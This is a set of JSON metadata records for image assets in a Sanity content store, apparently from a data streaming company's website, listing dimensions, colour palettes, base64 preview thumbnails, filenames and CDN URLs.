{"_createdAt":"2023-05-08T10:43:02Z","_id":"image-7e0e1c6395fb7fe660432005f23833cb76a98bef-992x992-jpg","_rev":"QpIjbIkE1ssA0KivVY5RGE","_type":"sanity.imageAsset","_updatedAt":"2023-05-08T10:43:02Z","assetId":"7e0e1c6395fb7fe660432005f23833cb76a98bef","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":992,"width":992},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAQFBgIH/8QAJxAAAQQBAwIGAwAAAAAAAAAAAQACAwQRBQYhEjEHExUWI1EycYH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwX/xAAbEQACAwEBAQAAAAAAAAAAAAAAAQIDMRETIf/aAAwDAQACEQMRAD8AqY7M1TRK0NNpdZsYYzHcfZVDuT1Db9ivaZdnkc/82SdlMq2J6+taFMzmDGMk4A/q58WNc8019Pa3qaSZHPIGUWVkvRKODKq4Opt6aGmWX6kNlo4kaHIoWyXP9u1usHPOP0iavqM6S4+GQ0i7Pd2/JBZeXRx56R9LPVAbFlwmc5+GnBJzhEU60lGXCr1HrW3TjRKYHHxhERXQd6f/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e372e","foreground":"#fff","population":3.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85341f","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#93755c","foreground":"#fff","population":6.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a48c7e","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a78e","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#93755c","foreground":"#fff","population":6.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b48944","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"olena-kutsenko.jpg","path":"images/sczeoy4w/production/7e0e1c6395fb7fe660432005f23833cb76a98bef-992x992.jpg","sha1hash":"7e0e1c6395fb7fe660432005f23833cb76a98bef","size":93336,"uploadId":"uWf62uDazRfJfNUpBfYzrxMf65CA04Cy","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e0e1c6395fb7fe660432005f23833cb76a98bef-992x992.jpg"} {"_createdAt":"2022-12-09T16:04:36Z","_id":"image-7e2f0690a13b76039ef49ba5ea6f5bd5c4ef5312-690x413-jpg","_rev":"VrdcoLtXxUWed6PHr8r3uD","_type":"sanity.imageAsset","_updatedAt":"2022-12-09T16:04:36Z","assetId":"7e2f0690a13b76039ef49ba5ea6f5bd5c4ef5312","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUECP/EACEQAAICAgIBBQAAAAAAAAAAAAECAAMEEhMxESJCUWFx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDqHPLjHOjhPk/UnYNu944HsUA+oW+78lXIqS6oq48iYsPFTl2YuxXrY9QijERCv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#43574d","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#226138","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e0f4e7","foreground":"#000","population":2.52,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c5bc","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0f4e7","foreground":"#000","population":2.52,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748c7c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#42bc6d","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"compliance-badge-iso-27001-2013.jpg","path":"images/sczeoy4w/production/7e2f0690a13b76039ef49ba5ea6f5bd5c4ef5312-690x413.jpg","sha1hash":"7e2f0690a13b76039ef49ba5ea6f5bd5c4ef5312","size":9374,"uploadId":"wS9hJmUY1jPnewT0x1zV8RuNnBJjFW0b","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e2f0690a13b76039ef49ba5ea6f5bd5c4ef5312-690x413.jpg"} {"_createdAt":"2023-04-13T12:51:01Z","_id":"image-7e4c08e0e9a70732e7c9d74567a80b98d23d238d-100x100-jpg","_rev":"gO4PimG2K28q9ZOw6f3ybZ","_type":"sanity.imageAsset","_updatedAt":"2023-04-13T12:51:01Z","assetId":"7e4c08e0e9a70732e7c9d74567a80b98d23d238d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFAvwpkW00V]x]xbbJR*jGWX00WC~WoyRjIosAt7XSsp-AoJJAWraK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":100,"width":100},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAHAABAAAHAQAAAAAAAAAAAAAAAAECAwQFBgcI/8QAIxAAAgEDBAIDAQAAAAAAAAAAAQIAAwQFBhEhMQcUEkFRof/EABYBAQEBAAAAAAAAAAAAAAAAAAMCAf/EABwRAAICAgMAAAAAAAAAAAAAAAABAgMRISIxgf/aAAwDAQACEQMRAD8A89Y/G1tR5enYWj00qOCfk52AA/ZkcroC+x1C5cXdpXa3OzpTY7/2UfHeax+Cy/tZCnUd2Bpqw5CAjsj7m/eQdYY250j6a1Larf1i3w9VeApI2Zj+8dTJ2TnJ4QtUK1hzfiOLspVip7B2iQIMSsMhoS6t0UryIiLV2LSuRMygHqIiM1sdrZ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d3e44","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#673d0b","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#987a5f","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acaccc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eaa691","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#987a5f","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c406","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1672651295595.jpeg","path":"images/sczeoy4w/production/7e4c08e0e9a70732e7c9d74567a80b98d23d238d-100x100.jpg","sha1hash":"7e4c08e0e9a70732e7c9d74567a80b98d23d238d","size":2758,"uploadId":"qfb5WCLOpWAkUnRpKXJTJ6a4TJKtCl5M","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e4c08e0e9a70732e7c9d74567a80b98d23d238d-100x100.jpg"} {"_createdAt":"2023-01-10T11:19:18Z","_id":"image-7e56fa414589bf44b3277fe087cca0c76f11bbd9-1280x720-jpg","_rev":"E0WcOAmhawew35VucCoLb4","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T11:19:18Z","assetId":"7e56fa414589bf44b3277fe087cca0c76f11bbd9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M@Qb^E-VM{ofxa.mI;n%soW;rXnNkCW=ad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAcIAQX/xAAnEAACAQMCAwkAAAAAAAAAAAABAgQAAwURExIhMQYHIiNBUVOSof/EABUBAQEAAAAAAAAAAAAAAAAAAAUG/8QAHhEAAQQCAwEAAAAAAAAAAAAAAQACBBEDBRRBYeH/2gAMAwEAAhEDEQA/AKMN6Sk52DJt68iX1/KzMdpoWJtgyn8XDxEjpSOvS5Hz3fsa5eed7uFtm5cdiZAU6seY06UHA3PMeGBlX6qOdoTEwHOX3XVfU4MF3hY6ZEuXZE3bbdYBWXmB6UVOkzypDrbJVfYGinFOL//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#494949","foreground":"#fff","population":4.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4643c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7405","foreground":"#fff","population":4.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccab9b","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb5e20","foreground":"#fff","population":3.88,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#827775","foreground":"#fff","population":3.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7405","foreground":"#fff","population":4.48,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"event-streaming-platforms-webinar-meta-preview.jpg","path":"images/sczeoy4w/production/7e56fa414589bf44b3277fe087cca0c76f11bbd9-1280x720.jpg","sha1hash":"7e56fa414589bf44b3277fe087cca0c76f11bbd9","size":102870,"uploadId":"lpgHe5MErN1JfgftHVFj6AzhkXLnZFj4","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e56fa414589bf44b3277fe087cca0c76f11bbd9-1280x720.jpg"} {"_createdAt":"2023-01-13T09:22:58Z","_id":"image-7e847319417be36628e259c62ec45875be4194b5-1200x630-jpg","_rev":"qBG5W2UzMHRLoCg3n8hgqa","_type":"sanity.imageAsset","_updatedAt":"2023-02-08T13:01:10Z","altText":null,"assetId":"7e847319417be36628e259c62ec45875be4194b5","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIQ,2gy=RQml*I%MRit7kCax*IHrxut,Qn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAwj/xAAhEAACAgICAgMBAAAAAAAAAAABAgMEABEFIQYSMUFRkf/EABUBAQEAAAAAAAAAAAAAAAAAAAIB/8QAGBEBAQEBAQAAAAAAAAAAAAAAAQIAEQP/2gAMAwEAAhEDEQA/AOiEr22uTPNbYQsdoqHsZK8m5GzwVaKWvYlkMrehaTsJlaEatOe/7m08Mc8fpMiun4w2MXM/Kpixo6ZXxjmLHI8RHYsKBISRsDQOvvDHI0WNAkahVHwAOhhlwuhpQ4b/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414444","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#820115","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e1c3d2","foreground":"#000","population":0.68,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1c3d2","foreground":"#000","population":0.68,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c79d","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86d90","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2c4c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"flink-meta-preview.jpg","path":"images/sczeoy4w/production/7e847319417be36628e259c62ec45875be4194b5-1200x630.jpg","sha1hash":"7e847319417be36628e259c62ec45875be4194b5","size":37291,"title":null,"uploadId":"Aw2dSWRD3xGDPSGnw4p9AcABfNgdyT09","url":"https://cdn.sanity.io/images/sczeoy4w/production/7e847319417be36628e259c62ec45875be4194b5-1200x630.jpg"} {"_createdAt":"2023-10-13T10:21:41Z","_id":"image-7ed3355ced6979dba2b35c81242f218ed9470ee8-1181x1181-jpg","_rev":"YchETsjFZqXXcMnazFBYiE","_type":"sanity.imageAsset","_updatedAt":"2023-10-13T10:21:41Z","assetId":"7ed3355ced6979dba2b35c81242f218ed9470ee8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"esM@4UMx?^IUxu_3xuxuxuniI;ofnhWBM{xtNGWBWAM{ozt7jss:j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1181,"width":1181},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMFCAf/xAAlEAABAwIGAwADAAAAAAAAAAABAgMEAAUGBxESITETFEEiYXH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAgP/xAAaEQADAAMBAAAAAAAAAAAAAAAAAQMCESFR/9oADAMBAAIRAxEAPwDt+a9+n2m0sRbMD70xfjCwNS2n6quYsSH8HYusb6btJme64GpPlPZP6qvgY/lZj4mcmQYrke3xEbQlauf7UUy7wb1imGibIQhqAsLHPO7XsmiVo1kPlLFz36acSdyQR0aVFDdbeitONKCm1JBSodEUpYAwnhq8zLJl+o21YZXKkFDiwPy00+GqiNMfYKltuHevlRPOtKVCS6bNvSNV5GYguE/L6KuW6HFturbSojnaNNBSlKsxZ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f3a35","foreground":"#fff","population":1.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4d220a","foreground":"#fff","population":0.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a87b5b","foreground":"#fff","population":2.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c49f93","foreground":"#000","population":0.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4b09e","foreground":"#000","population":1.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87b5b","foreground":"#fff","population":2.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d03864","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"anna-richardson.jpg","path":"images/sczeoy4w/production/7ed3355ced6979dba2b35c81242f218ed9470ee8-1181x1181.jpg","sha1hash":"7ed3355ced6979dba2b35c81242f218ed9470ee8","size":116014,"uploadId":"LIRAXPZtYixTo3QIPfPEj3283y0oKYYC","url":"https://cdn.sanity.io/images/sczeoy4w/production/7ed3355ced6979dba2b35c81242f218ed9470ee8-1181x1181.jpg"} {"_createdAt":"2022-06-30T20:00:34Z","_id":"image-7ed3b81488fa9e6cf39dbf1dee0eff386bfdd5ad-1894x738-gif","_rev":"oP937kX6v07bcvrIPZOc0I","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:46:01Z","assetId":"7ed3b81488fa9e6cf39dbf1dee0eff386bfdd5ad","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"D2Ss4~KS01?vWA9%9x9aIpof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5663956639566394,"height":738,"width":1894},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEDCP/EABsQAAMBAAMBAAAAAAAAAAAAAAABAgMEIUIx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDTmfGiHNVdV16ZY88H9UgEEPHjPzAAA//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a5e5c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2474bc","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f8fda","foreground":"#fff","population":0.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcdc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84e4fc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a8c8c","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2f8fda","foreground":"#fff","population":0.49,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"7ed3b81488fa9e6cf39dbf1dee0eff386bfdd5ad-1894x738.gif","path":"images/sczeoy4w/production/7ed3b81488fa9e6cf39dbf1dee0eff386bfdd5ad-1894x738.gif","sha1hash":"7ed3b81488fa9e6cf39dbf1dee0eff386bfdd5ad","size":994917,"uploadId":"uOwWoLJ6U95lfKkalmSBMbQnafD96EnL","url":"https://cdn.sanity.io/images/sczeoy4w/production/7ed3b81488fa9e6cf39dbf1dee0eff386bfdd5ad-1894x738.gif"} {"_createdAt":"2022-06-30T19:56:12Z","_id":"image-7f0f3a0475f5fbbed62e27dfb900d580bdaaf961-1600x471-jpg","_rev":"cEPH2uRN58AU2lp9QO7ay9","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:43Z","assetId":"7f0f3a0475f5fbbed62e27dfb900d580bdaaf961","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DNT5JG*iP;tMqt:QVticjEX-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAGABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEFBv/EACAQAAEEAgEFAAAAAAAAAAAAAAIAAQMEBRIRBiIxQbH/xAAXAQADAQAAAAAAAAAAAAAAAAADBQYH/8QAIREAAQMDBAMAAAAAAAAAAAAAAgABEQMEIQUSMbEzUXH/2gAMAwEAAhEDEQA/ANHax1SHEtZHYpdWfghbj6p6eKCTIVxsQC8W3cw+0RSuqvB0xbiW7Wm7yO2qET5aelZZw6Y33GpA8cQizavx5RESK885/UG1zRGfS//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#773b21","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b25931","foreground":"#fff","population":0.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":12.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e5d4c9","foreground":"#000","population":1.36,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84ac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":12.31,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"7f0f3a0475f5fbbed62e27dfb900d580bdaaf961-1600x471.jpg","path":"images/sczeoy4w/production/7f0f3a0475f5fbbed62e27dfb900d580bdaaf961-1600x471.jpg","sha1hash":"7f0f3a0475f5fbbed62e27dfb900d580bdaaf961","size":166724,"uploadId":"HRogW1fQisHxbFk2MnytnxbiKNaWOF2X","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f0f3a0475f5fbbed62e27dfb900d580bdaaf961-1600x471.jpg"} {"_createdAt":"2023-01-10T10:20:18Z","_id":"image-7f21c0c7e40bd260a079270a084bfba028e20177-2000x642-png","_rev":"Y8XrsvoJ4zglb1hB5GEK2R","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T10:20:52Z","altText":null,"assetId":"7f21c0c7e40bd260a079270a084bfba028e20177","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.115264797507788,"height":642,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAmUlEQVQYlX2PTQpDMQiEc/8r9QA9QKGbQndddP00iY6aYlIe9HeQRIOOXwpgZu4eETHGyGsmT0VkvFThG+vp0g7H8jY5fmv3jS643eV8LZ5a7//kHmaGJQVaB9WCyb3Q5+GrnK0ZZqaaXapgrsy1N4HCYEVEAKztC2GypMXuq5qJKraNiFi65nIgsb9+9ZMcZlwrEbcmIjn9AAp9Ydb8lSJIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#716e71","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c12148","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e3194b","foreground":"#fff","population":0.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bebcc4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc749c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3194b","foreground":"#fff","population":0.32,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"stream-mastodon-blog-REST-from-menu.png","path":"images/sczeoy4w/production/7f21c0c7e40bd260a079270a084bfba028e20177-2000x642.png","sha1hash":"7f21c0c7e40bd260a079270a084bfba028e20177","size":45115,"title":null,"uploadId":"7MSaqqYqp6jryDkOvKCH2OsaF78NFZ0P","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f21c0c7e40bd260a079270a084bfba028e20177-2000x642.png"} {"_createdAt":"2022-06-30T19:56:38Z","_id":"image-7f23aad59a37c4a3ef97e0e03a12eb172beab474-1500x371-png","_rev":"CK1sLU2mnwa3vmbYWEbBBI","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:55Z","assetId":"7f23aad59a37c4a3ef97e0e03a12eb172beab474","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D35#eJsAi^xZR5~W%1nOVsjE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.0431266846361185,"height":371,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA1klEQVQYlS2Mga6DIAxF/ZAVKlAEdA6cwNhiniQm/v8fveB2c9K0Nznt/kbcJlHWcBzHeZ611n3fa63btuWcY0rPdQ0heO/DlWVZYozee2NMt9p+ccLP06uU9+eTck4p5/yKMa0xxvRLzrmU0t5d3TzPRLpTSkohpBBKaSKtFH0h0sYYZ+00jsH71JzoH4/ROWctKULsO6kIOXJgDNg14QsHhrwhEAei0dlpcsZoIiFF33POgXVSyJ5xfgMOgM2HtreTIQNkV8+YlDhYcnft7nqwqtk3+AcITTGxx0N7EwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#273757","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#681d0c","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c6793a","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcd3c9","foreground":"#000","population":0.12,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cca167","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#78846c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c6793a","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7f23aad59a37c4a3ef97e0e03a12eb172beab474-1500x371.png","path":"images/sczeoy4w/production/7f23aad59a37c4a3ef97e0e03a12eb172beab474-1500x371.png","sha1hash":"7f23aad59a37c4a3ef97e0e03a12eb172beab474","size":25878,"uploadId":"fZujk28MZDDap7JTpIow6DMFAcHWlNuZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f23aad59a37c4a3ef97e0e03a12eb172beab474-1500x371.png"} 